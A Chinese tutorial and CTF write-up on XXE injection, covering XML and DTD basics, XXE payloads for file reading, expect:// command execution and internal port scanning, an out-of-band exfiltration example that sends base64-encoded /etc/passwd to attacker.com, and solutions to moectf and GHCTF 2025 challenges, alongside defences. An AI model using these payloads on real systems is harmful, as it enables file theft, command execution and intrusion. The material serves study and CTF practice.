前言

参考以下大佬文献,有出错请多多指正

纸上谈兵

1. 什么是XXE

1.1. XXE的简介

XXE(XML External Entity)漏洞是一种安全漏洞,出现在使用XML解析器的应用程序中。

它允许攻击者利用可信任的XML扩展功能来执行恶意操作,如读取本地文件、发起远程网络请求或执行任意命令。

XXE漏洞的发生通常是由于应用程序在解析XML输入时未正确验证或限制实体引用。

攻击者可以通过构造恶意的XML输入,将外部实体(external entity)引用进来,然后利用这些实体来获取敏感信息或进行其他攻击。

其中最常见的一种攻击是利用DTD(Document Type Definition)来读取本地文件,通过将file://协议和可访问的文件路径嵌入到XML中,攻击者可以读取服务器上的敏感文件内容。

1.2. XML的简介

1.2.1. 核心概念

XML(可扩展标记语言)是一种用于表示和传输数据的标记语言。它设计用于具有自定义结构的文档和数据的描述,具有跨平台跨语言的特性。

XML使用标签来描述数据的结构和类型,将数据和标签包裹在起始标签和结束标签之间,形成一个层次结构。

1.2.2. 基本结构与语法

XML文档由以下部分组成:

  1. 声明<?xml version="1.0" encoding="UTF-8"?>(指定版本和编码,非标签)。
  2. 根元素:唯一的顶级标签(如<订单>),包含所有内容。
  3. 子元素:嵌套的标签(如<商品><价格>),需严格闭合(<a></a><a/>)。
  4. 属性:元素的附加信息(如<商品 id="123">中的id),值必须用引号包裹
  5. 注释<!-- 这是注释 -->,不影响解析。

示例

<?xml version="1.0" encoding="UTF-8"?>
<订单>
  <订单号>20260129</订单号>
  <商品 id="001">
    <名称>笔记本电脑</名称>
    <价格>5999</价格>
  </商品>
</订单>

<person>是起始标签,</person>是结束标签。<name><age><city>是子标签,它们包含了相应的数据。

<person>
  <name>John Doe</name>
  <age>30</age>
  <city>New York</city>
</person>

【XML语法规则

XML 被设计用来传输和存储数据。XML 文档行成了一种树结构,它从”根部”开始,然后扩展到”枝叶”。

XML 允许创作者定义自己的标签和自己的文档结构。

1. 所有的 XML 元素都必须有一个关闭标签

2. XML 标签对大小写敏感

3. XML 必须正确嵌套

4. XML 属性值必须加引号

5. 实体引用

6. 在 XML 中,空格会被保留

1.2.3. 关键特性
  • 可扩展性:用户可自定义标签(如<用户><积分>),无需依赖预定义词汇。
  • 平台无关性:纯文本格式,兼容Windows、Linux、macOS等所有系统。
  • 严格结构化:数据以树状分层结构组织,支持复杂关系(如父子、兄弟节点)。
  • 自描述性:标签本身即说明数据含义(如<价格>直接表明内容为价格)。
1.2.4. 典型应用场景
  1. 数据交换:跨系统传递数据(如电商平台与物流系统的订单同步)。
  2. 配置文件:软件配置(如Tomcat的server.xml、Spring的applicationContext.xml)。
  3. Web服务:SOAP协议中用XML封装请求与响应(如WSDL描述服务接口)。
  4. 文档存储:电子书(EPUB)、Office文件(DOCX/XLSX本质是XML压缩包)。
  5. 多媒体描述:SVG(可缩放矢量图形)用XML定义图形元素。
1.2.5. 与HTML的核心区别

维度

XML

HTML

设计目的

存储/传输数据,强调数据结构

展示网页内容,强调视觉呈现

标签特性

用户自定义标签(如<价格>

预定义标签(如<div><p>

语法要求

严格闭合、区分大小写

语法松散(部分标签可省略闭合)

核心价值

数据与显示分离

内容与样式结合(需CSS辅助)

1.2.6. 实战注意事项
  • 实体转义特殊字符需用实体表示(如<&lt;&&amp;)。
  • 验证机制:用DTD或XML Schema(XSD)确保文档结构合法性。
  • 解析方式:通过DOM(文档对象模型)或SAX(事件驱动)解析XML数据。
1.2.7. XML-DTD【用于检测是否合法的一个工具】

拥有正确语法的 XML 被称为“形式良好”的 XML。
通过 DTD 验证的 XML 是“合法”的 XML。
DTD 全称是 The document type definition,即是文档类型定义,通过 DTD 验证 XML 是否合法

1.2.7.1. 形式良好的 XML 文档

(1)XML 文档必须有根元素
(2)XML 文档必须有关闭标签
(3)XML 标签对大小写敏感
(4)XML 元素必须被正确的嵌套
(5)XML 属性必须加引号

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

单独依靠人来检查,太慢了。

如何快速的检查 XML 文档是否是形式良好的文档? 需要一个工具来快速检查 XML ?

这个工具就是 DTD

1.2.7.2. DTD 可定义合法的 XML 文档构建模块。它使用一系列合法的元素来定义文档的结构。

XML 引用 DTD 检查的方法有两种:

一种是直接在 XML 文档中声明并引用

另一种在 XML 中引入一个外部的 DTD 文档

1.2.7.2.1. 在 XML 文档内部中写 DTD 声明

DTD 被包含在您的 XML 源文件中,它会被包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

例如:

<?xml version="1.0" ?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

何意味?

这段XML代码的含义解析
这段代码是一个标准的XML文档示例,
用于结构化存储一条“提醒信息”,
核心是通过DTD(文档类型定义) 约束数据格式,确保内容符合预设规则。


一、代码结构拆解
XML声明
<?xml version="1.0" ?>
定义XML版本为1.0(最常用版本),无encoding属性则默认使用UTF-8编码。

DTD约束(文档类型定义)
<!DOCTYPE note [...]>
  通过DTD强制规定note元素的结构:
<!ELEMENT note (to,from,heading,body)>:
    note必须包含to、from、heading、body四个子元素,且顺序固定。
<!ELEMENT to (#PCDATA)>:
    to、from等子元素的内容只能是纯文本(#PCDATA,即Parsed Character Data),不能嵌套其他标签。

XML数据内容
<note>...</note>
实际存储的提醒信息:
<to>zhang</to>:接收
  人是“zhang”。
<from>kill</from>:
  发送人是“kill”。
<heading>Reminder</heading>:
  标题为“提醒”。
<body> Don't forget me this weekend!</body>:
  内容是“周末别忘了我!”。


二、核心作用
  结构化存储:用标签明确区分数据含义(如<to>直接表示“接收人”),比纯文本更易被程序解析。
  格式约束:DTD确保所有类似的“提醒信息”都遵循统一格式(如必须包含发送人、标题),避免数据混乱。

简单来说,这是一条格式严谨的“提醒消息”数据,常用于需要严格规范数据结构的场景
    (如办公系统的通知同步)。 📝
1.2.7.2.2. 在 XML 文档内部中引入外部 DTD 文件 note.dtd

外部文档声明:假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个

<!DOCTYPE 根元素 SYSTEM "文件名">

例如:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>zhang</to>
<from>kill</from>
<heading>Reminder</heading>
<body> Don't forget me this weekend!</body>
</note>

DTD 文件 note.dtd 中的定义如下


<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

【其实就是把之前那一长串变成一个新的文件,而你去引用这个文件】

1.2.7.2.3. 总结:

这是内部 DTD 和外部 DTD 的声明

内部中写 DTD 声明中,它会被包装在:

<!DOCTYPE 根元素 [元素声明]>

外部文档声明:

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个

DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

1.3. XXE漏洞

1.3.1. 核心概念

XXE漏洞(XML External Entity Injection)是指XML解析器未限制外部实体加载,导致攻击者通过构造恶意XML文档,利用外部实体引用读取服务器文件、执行命令或探测内网的安全漏洞。

1.3.2. 原理与触发条件
  • 核心原理:XML解析器支持通过SYSTEM关键字加载外部实体(如本地文件、远程资源),若未禁用该功能,攻击者可注入恶意外部实体定义,触发漏洞。
  • 触发条件
    1. 应用程序解析用户提交的XML数据;
    2. XML解析器未禁用外部实体加载(如PHP中libxml_disable_entity_loader设为false)。
1.3.3. 典型利用场景
  1. 读取任意文件
    通过file://协议引用本地敏感文件(如Linux的/etc/passwd、Windows的C:/windows/win.ini)。
    示例
<?xml version="1.0"?>
<!DOCTYPE any [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>
  1. 执行系统命令
    若解析器支持expect://等协议(如PHP安装expect扩展),可直接执行命令。
    示例
<?xml version="1.0"?>
<!DOCTYPE any [
  <!ENTITY cmd SYSTEM "expect://ls -al">
]>
<data>&cmd;</data>
  1. 内网端口扫描
    通过引用内网IP和端口,利用解析超时判断端口状态(开放端口响应快,关闭则超时)。
    示例
<?xml version="1.0"?>
<!DOCTYPE any [
  <!ENTITY port SYSTEM "http://192.168.1.1:80">
]>
<data>&port;</data>
  1. 无回显XXE(外带数据)
    当漏洞无直接输出时,通过外部DTD将数据发送至攻击者服务器(需Base64编码避免乱码)。
    攻击流程
    • 攻击者服务器放置evil.dtd
<!ENTITY % send SYSTEM "http://attacker.com/log.php?data=%file;">
    • 构造恶意XML:
<?xml version="1.0"?>
<!DOCTYPE any [
  <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
  <!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd">
  %ext;
  %send;
]>
1.3.4. 防护措施
  1. 禁用外部实体加载
    • PHP:libxml_disable_entity_loader(true);
    • Java:设置DocumentBuilderFactory禁用DTD和外部实体。
  1. 输入验证与过滤
    对用户提交的XML进行长度限制、特殊字符过滤(如<&lt;),拒绝嵌套过深的结构。
  2. 使用安全解析器
    优先选择禁用外部实体的解析器(如Python的xml.etree.ElementTree默认禁用),或配置解析器仅允许安全协议。
  3. 架构优化
    用JSON替代XML传输数据,减少XML解析依赖;部署WAF拦截含外部实体的恶意XML请求。

XXE漏洞常与XML DoS结合,防御时需同时覆盖外部实体和递归实体两种风险场景。 🛡️

实战出真章

西电CTF平台——Moectf 2025 WriteUP_moe browser-CSDN博客这个西电的wp,可以来看看

我使用以下四道题来学习一下这个xxe

moectf 10 第十章 天机符阵

moectf 10 第十章 天机符阵_revenge

GHCTF 2025(>﹏<)

1. moectf 10 第十章 天机符阵

打开西电

1.1. 随便输入一点内容

DOMDocument::loadXML()

根据这个报错,可以知道是XXE实体注入

1.2. 看这三个标签

看看哪个可以被利用

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<解析>&test;</解析>
DTD外部实体定义
<!DOCTYPE ANY [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<!DOCTYPE ANY>:声明XML文档类型为ANY(表示接受任意结构的XML内容)。
<!ENTITY test SYSTEM "file:///etc/passwd">:定义一个名为test的外部实体,通过SYSTEM关键字指定加载本地文件/etc/passwd(file://是本地文件协议)。

XML数据引用
<解析>&test;</解析>
<解析>是自定义的XML标签(可替换为任意合法标签名)。
&test;:引用之前定义的外部实体test,触发XML解析器读取/etc/passwd的内容,并将文件内容替换到这个位置。

经过尝试<解析></解析><输出></输出>这两个标签都能被利用,随便选一个即可

1.3. 答案来啦

提示

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

欸,出错了,

提示加载不到,说明根目录下没有,还有个常见的位置在/var/www/html下。

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///var/www/html/flag.txt">
]>
<解析>&test;</解析>

2. moectf 10 第十章 天机符阵_revenge

2.1. 老样子,随便输入内容

DOMDocument::loadXML()

根据这个报错,可以知道是XXE实体注入

2.2. 试试上一题的法子

<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///etc/passwd">
]>
<解析>&test;</解析>
<!DOCTYPE ANY [
    <!ENTITY test SYSTEM "file:///flag.txt">
]>
<解析>&test;</解析>

flag在根目录里面

3. GHCTF 2025(>﹏<)

答案在这呢

3.1. 题目

3.2. 整理一下加代码审计

1. 依赖导入
from flask import Flask, request  # 导入Flask框架核心类和请求处理模块
import base64  # 导入Base64编码工具(代码中未实际使用)
from lxml import etree  # 导入XML解析库lxml的etree模块
import re  # 导入正则表达式库(代码中未实际使用)

2. 初始化Flask应用
app = Flask(__name__)  # 创建Flask应用实例,__name__表示当前模块名

3. 根路由(返回源代码)
@app.route('/')  # 定义根路径(访问http://ip:8080/时触发)
def index():  # 路由对应的处理函数
    return open(__file__).read()  # 打开当前文件(即本代码文件),读取内容并返回
    
4. XXE漏洞路由(核心风险点)
@app.route('/ghctf', methods=['POST'])  # 定义POST请求的路由/ghctf
def parse():  # 处理函数
    xml = request.form.get('xml')  # 从POST表单中获取名为xml的参数值
    print(xml)  # 打印用户提交的XML内容(仅调试用)
    
    if xml is None:  # 如果未提交xml参数
        return "No System is Safe."  # 返回错误提示
    
    # 关键:XML解析器配置(漏洞触发点)
    parser = etree.XMLParser(load_dtd=True, resolve_entities=True)  
    # - load_dtd=True:允许加载外部DTD文件  
    # - resolve_entities=True:允许解析外部实体(如file://协议)
    
    root = etree.fromstring(xml, parser)  # 用上述解析器解析用户提交的XML
    name = root.find('name').text  # 查找XML中的<name>标签,提取其文本内容
    return name or None  # 返回<name>标签的内容(若为空则返回None)
    
5. 启动应用
if __name__ == "__main__":  # 当脚本直接运行时(非被导入)
    app.run(host='0.0.0.0', port=8080)  # 在所有网卡(0.0.0.0)的8080端口启动服务


总结
这段代码的核心风险是XXE漏洞,攻击者可通过构造恶意XML读取服务器任意文件。
修复需将etree.XMLParser的load_dtd和resolve_entities改为False。 🚨

关键点:

  1. load_dtd=True 和 resolve_entities=True:
  • load_dtd=True 允许 XML 解析器加载外部 DTD(Document Type Definition),可以简单的理解为load_dtd参数为TRUE时可以篡改xml文件。
  • resolve_entities=True 允许解析 XML 实体(在 XML 里,实体是一种占位符,可以在 XML 文档中被替换为某些值),xml文件被篡改后必须要被解析才能生效
  1. root = etree.fromstring(xml, parser) root.find('name').text

该命令将 XML 字符串解析成一个 XML 树对象,并赋值给 root 变量。

3.3. 知识点

原html

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///flag">
]>
<root>
    <name>&xxe;</name>
</root>

解析后树对象

<root>
    <name>flag的内容</name>
</root>

解析相当于某种程度上的命令执行。此命令中,&xxe的作用就是用&指明xxe占位符(类似编程的变量)应该由DOCTYPE里面对xxe占位符的定义来替代并被解析。

  • parser etree.XMLParser(load_dtd=True, resolve_entities=True),它允许解析 DTD(文档类型定义) 并解析实体(如 &xxe;)。
  • root.find('name') 在 XML 树的根节点 <root> 下查找第一个 <name> 标签,根据其中的占位符的值执行并将结果通过.text 获取该节点的文本内容。获取的内容将被当作 <name>标签 的值返回给客户端。

3.4. 思路

根据题面,进行简单的代码审计,大概可以明白是当使用POST方法访问/ghctf这个路径的时候,会向你用GET方法请求xml的参数,之后系统内部会对xml参数进行解析。

但是xml参数是什么?为什么要构造它?以什么格式构造?构造什么?构造出来怎么解析?解析结果又如何?要解决这些问题,需要对xml文件和核心区的代码有一定的了解。

①正确的xml文件格式:

②为什么要构造xml参数?构造xml参数的思路是?如何构造?

flag一般存放在服务器的根目录下,那么我们所要做的就是要构造一个合法的请求,利用xml参数传入XML文件,在XML文件中通过外部 DTD(Document Type Definition)来定义一个实体,将这个实体赋值为file:///(通用的 URI 方案,用于访问本地文件系统,适用于 XML 解析、浏览器、Python等),借助它去尝试访问服务器根目录下的flag文件。

3.5. payload

<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<name>&xxe;</name>
</root>

传入请求体即前面跟上:xml=

同时注意,为了避免服务器将xml中的空格、><:/等特殊字符作为查询字符串的一部分 需要对这些字符串进行URL编码。

URL编码后的payload:

xml=%3C%3Fxml+version%3D%221.0%22%3F%3E%3C%21DOCTYPE+root+%5B%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fflag%22%3E%5D%3E%3Croot%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Froot%3E

这个Post可以通过Bp或者hackbar来尝试

不行,再看看

看到之前的源代码,注意到要@app.route('/ghctf', methods=['POST'])

要在/ghctf的目录之下使用post请求

如果是bp的话,要用到

Burp Suite Repeater(中继器)模块

Repeater模块主要用于手动修改HTTP请求并重复发送,是漏洞验证(如SQL注入、XSS、逻辑漏洞)的关键环节。

此时是get方式,放到repeater里面

接着输入这个xml

还是在repeater画面里

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐